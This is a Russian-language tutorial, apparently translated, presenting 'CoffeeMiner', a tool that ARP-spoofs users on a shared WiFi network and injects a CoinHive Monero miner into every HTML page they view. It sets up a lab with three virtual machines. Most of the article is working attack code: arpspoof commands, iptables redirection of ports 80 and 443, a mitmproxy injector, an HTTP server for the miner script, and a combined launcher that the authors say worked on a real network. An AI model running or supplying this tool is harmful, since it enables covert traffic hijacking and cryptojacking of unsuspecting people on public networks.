Cofee miner

Предупреждение: эта статья и проект имеют исключительно образовательные цели.

Cofee Miner logo Несколько недель назад я прочитал об этом случае Starbucks, где хакеры взламывали ноутбуки в сети WiFi, чтобы майнить на них криптовалюту. И я подумал, что может быть интересно провести атаку иным способом. Цель этой статьи — объяснить, как провести атаку MITM (человек посередине) для внедрения определённого JavaScript-кода в страницы HTML, чтобы заставить все устройства, подключённые к WiFi, майнить криптовалюту для злоумышленника.

Задача состоит в создании скрипта, который проводит автономную атаку в сети WiFi. Это то, что мы назвали CoffeeMiner, поскольку атаки такого типа можно проводить в кафе.

Сценарий

Мы рассматриваем ситуацию, в которой есть несколько машин, подключенных к сети WiFi, а злоумышленник с CoffeeMiner перехватывает трафик между пользователями и маршрутизатором.

Wi-Fi connection sheme

Конфигурация сценария

Реальная ситуация — это маршрутизатор WiFi с подключенными ноутбуками и смартфонами. Мы проверили скрипт в этой ситуации из реального мира — и он работает. Но для этой статьи мы более подробно разберём, как установить его в виртуальном окружении.

Для реализации этого виртуального сценария будем использовать VirtualBox.

Первым делом нужно скачать какой-нибудь дисковый образ Linux и установить его на машине VirtualBox. В данном примере будем использовать образы Kali Linux.

После скачивания ISO-образа готовим три машины VBox с установленным образом Linux.

Для конфигурации описанного сценария нужно подготовить машины, выполняющие следующие роли:

  • Жертва Машина, которая подключается к маршрутизатору и просматривает веб-страницы.
  • Злоумышленник Машина, где запускается CoffeeMiner и осуществляется MITM-атака.
  • Маршрутизатор / шлюз Работает как нормальный шлюз.

Wi-Fi connection sheme

При выполнении атаки ситуация будет такой:

Wi-Fi connection sheme

Для каждой машины используем следующую конфигурацию:

  • Жертва
    1. сетевой адаптер: eth0: Host-only Adapter
    2. /etc/network/interfaces:
          auto lo
          iface lo inet loopback
          
          auto eth0
          iface eth0 inet static
          address 10.0.2.10
          netmask 255.255.255.0
          gateway 10.0.2.15
      
  • Злоумышленник
    1. сетевой адаптер: eth0: Host-only Adapter
    2. /etc/network/interfaces:
          auto lo
          iface lo inet loopback
          
          auto eth0
          iface eth0 inet static
          address 10.0.2.20
          netmask 255.255.255.0
          gateway 10.0.2.15
      
  • Маршрутизатор / шлюз
    1. сетевой адаптер: eth0: Bridged Adapter

      eth1: Host-only Adapter
    2. /etc/network/interfaces:
          auto lo
          iface lo inet loopback
          
          auto eth0
          iface eth0 inet dhcp
          
          auto eth1
          iface eth1 inet static
          address 10.0.2.15
          netmask 255.255.255.0
      

CoffeeMiner, разбор кода

ARP-spoofing

Первым делом нужно понять, как осуществляется MITM-атака.

  • Из Википедии «В компьютерных сетях ARP-spoofing (ARP cache poisoning или ARP poison routing) — это техника, когда злоумышленник отправляет в локальную сеть (поддельные) сообщения по протоколу Address Resolution Protocol (ARP). В общем, цель состоит в связывании MAC-адреса злоумышленника с IP-адресом другого хоста, такого как шлюз по умолчанию, так что любой трафик для данного IP-адреса будет вместо этого направлено злоумышленнику».

Для осуществления атаки ARP-spoofing будем использовать библиотеку dsniff.

    > arpspoof -i interface -t ipVictim ipGateway
    > arpspoof -i interface -t ipGateway ipVictim 

mitmproxy

Mitmproxy — это программа для анализа и редактирования трафика, который проходит через хост. Мы будем использовать её для внедрения JavaScript на страницы HTML.

Для простоты процесса внедряем одну строку кода на HTML-страницы. Эта строка кода запускает криптомайнер:

    

Внедрение

Когда мы перехватили трафик жертвы, то можно внедрить в него наш скрипт. Для внедрения используем mitmproxy API:

    from bs4 import BeautifulSoup
    from mitmproxy import ctx, http
    import argparse
    
    class Injector:
        def __init__(self, path):
            self.path = path
    
        def response(self, flow: http.HTTPFlow) -> None:
            if self.path:
                html = BeautifulSoup(flow.response.content, "html.parser")
                print(self.path)
                print(flow.response.headers["content-type"])
                if flow.response.headers["content-type"] == 'text/html':
                    script = html.new_tag(
                        "script",
                        src=self.path,
                        type='application/javascript')
                    html.body.insert(0, script)
                    flow.response.content = str(html).encode("utf8")
                    print("Script injected.")
    
    def start():
        parser = argparse.ArgumentParser()
        parser.add_argument("path", type=str)
        args = parser.parse_args()
        return Injector(args.path)

HTTP-сервер

Как мы видели, инъектор добавляет в HTML-страницы одну строчку, с вызовом нашего криптомайнера на JavaScript. Так что нужно разместить файл скрипта на HTTP-сервере.

Чтобы выдать скрипт криптомайнера, запустим HTTP-сервер на машине злоумышленника. Для этого используем питоновскую библиотеку ‘http.server’:

    #!/usr/bin/env python
    import http.server
    import socketserver
    import os
    
    PORT = 8000
    
    web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
    os.chdir(web_dir)
    
    Handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("", PORT), Handler)
    print("serving at port", PORT)
    httpd.serve_forever()

Вышеприведённый код — это простой HTTP-сервер, который отправляем жертвам наш криптомайнер, когда те его запрашивают.

Майнер на JavaScript будет размещён в директории /miner_script. В нашем случае используется JavaScript-майнер CoinHive.

Криптомайнер CoinHive

CoinHive — это JavaScript-майнер для криптовалюты Monero (XMR). Его можно добавить на сайт и использовать вычислительные ресурсы CPU на компьютерах пользователей для вычисления хэшей по алгоритму Cryptonight PoW, с помощью которых майнится Monero по протоколу CryptoNote.

Использовать майнер CoinHive имеет смысл, если пользователь остаётся на веб-странице относительно продолжительное время. Так что, например, для сайта со средними сессиями по 40 секунд он не имеет особого смысла.

Поскольку мы внедряем майнер абсолютно на все страницы, то майнер будет работать на компьютерах жертв продолжительное время.

Coinhive & Monero

CoffeeMiner, интеграция всего вместе

Основная задача — связать все описанные концепции в одну автономную установку. Это и будет CoffeeMiner.

Смысл в том, чтобы один скрипт CoffeeMiner осуществлял атаку ARP-spoofing и устанавливал mitmproxy для внедрения криптомайнера CoinHive в HTML-страницы жертв.

Сначала нужно сконфигурировать ip_forwarding и IPTABLES, чтобы машина злоумышленника работала как прокси:

    > echo 1 > /proc/sys/net/ipv4/ip_forward
    > iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    > iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 

Для проведения атаки ARP-spoofing для всех жертв подготавливаем файл ‘victims.txt’ с IP-адресами всех жертв. Считываем эти адреса несколькими строчками на Python (а также IP-адрес шлюза) — и проводим атаку ARP-spoofing для каждого IP-адреса жертвы.

    # get gateway_ip
    gateway = sys.argv[1]
    print("gateway: " + gateway)
    # get victims_ip
    victims = [line.rstrip('\n') for line in open("victims.txt")]
    print("victims:")
    print(victims)
    
    # run the arpspoof for each victim, each one in a new console
    for victim in victims:
        os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
        os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")

После этого осталось запустить HTTP-сервер:

    > python3 httpServer.py 

И теперь можно запускать mitmproxy через injector.py:

    > mitmdump -s 'injector.py http://httpserverIP:8000/script.js'

CoffeeMiner, окончательный скрипт

Теперь мы объединили все вышеописанные концепции в единый скрипт coffeeMiner.py:

    import os
    import sys
    
    #get gateway_ip (router)
    gateway = sys.argv[1]
    print("gateway: " + gateway)
    # get victims_ip
    victims = [line.rstrip('\n') for line in open("victims.txt")]
    print("victims:")
    print(victims)
    
    # configure routing (IPTABLES)
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
    os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
    os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
    
    
    # run the arpspoof for each victim, each one in a new console
    for victim in victims:
        os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
        os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
    
    # start the http server for serving the script.js, in a new console
    os.system("xterm -hold -e 'python3 httpServer.py' &")
    
    # start the mitmproxy
    os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")

А также скрипт injector.py:

    from bs4 import BeautifulSoup
    from mitmproxy import ctx, http
    import argparse
    
    class Injector:
        def __init__(self, path):
            self.path = path
    
        def response(self, flow: http.HTTPFlow) -> None:
            if self.path:
                html = BeautifulSoup(flow.response.content, "html.parser")
                print(self.path)
                print(flow.response.headers["content-type"])
                if flow.response.headers["content-type"] == 'text/html':
                    print(flow.response.headers["content-type"])
                    script = html.new_tag(
                        "script",
                        src=self.path,
                        type='application/javascript')
                    html.body.insert(0, script)
                    flow.response.content = str(html).encode("utf8")
                    print("Script injected.")
    
    def start():
        parser = argparse.ArgumentParser()
        parser.add_argument("path", type=str)
        args = parser.parse_args()
        return Injector(args.path)

И для начала атаки достаточно всего лишь запустить следующую команду:

    > python3 coffeeMiner.py RouterIP

Демо

Для демонстрации используем виртуальный сценарий с VirtualBox, как описано выше.

Если хотим провести атаку вручную, то нам нужны следующие консоли:

Console

Затем, когда атака ARP-spoofing завершена, а инъектор и HTTP-сервер готовы к запуску, мы можем зайти на виртуальную машину жертвы и открыть какой-нибудь сайт. Трафик жертвы пойдёт через компьютер злоумышленника и активирует инъектор:

Console

В результате на всех HTML-страницах, которые просматривает жертва, будут присутствовать HTML-строчки кода, которые внедрил злоумышленник.

Demon video

Демонстрационное видео

На следующих видеороликах можно увидеть все этапы операции с использованием скрипта coffeeMiner.py:

Демо VirtualBox:

Реальная сеть WiFi с подключёнными ноутбуками:

Заключение

Как мы убедились, такую атаку легко осуществить. И может быть проведена автономная атака в сети WiFi.

Есть другая мысль, что в реальной сети WiFi лучше использовать мощную антенну WiFi для лучшего покрытия всего физического пространства.

Основная цель данной работы — проведение автономной атаки, но нам всё ещё нужно отредактировать файл victims.txt с IP-адресами жертв. В следующей версии можно добавить функцию автономного сканирования Nmap для добавления обнаруженных IP-адресов в список жертв CoffeeMiner. Ещё одна возможная функция — добавление sslstrip, чтобы гарантировать внедрение дополнительной строчки кода даже на страницах сайтов, которые пользователь запрашивает по HTTPS.

Полный код доступен в репозитории GitHub.

Предупреждение: эта статья и проект имеют исключительно образовательные цели.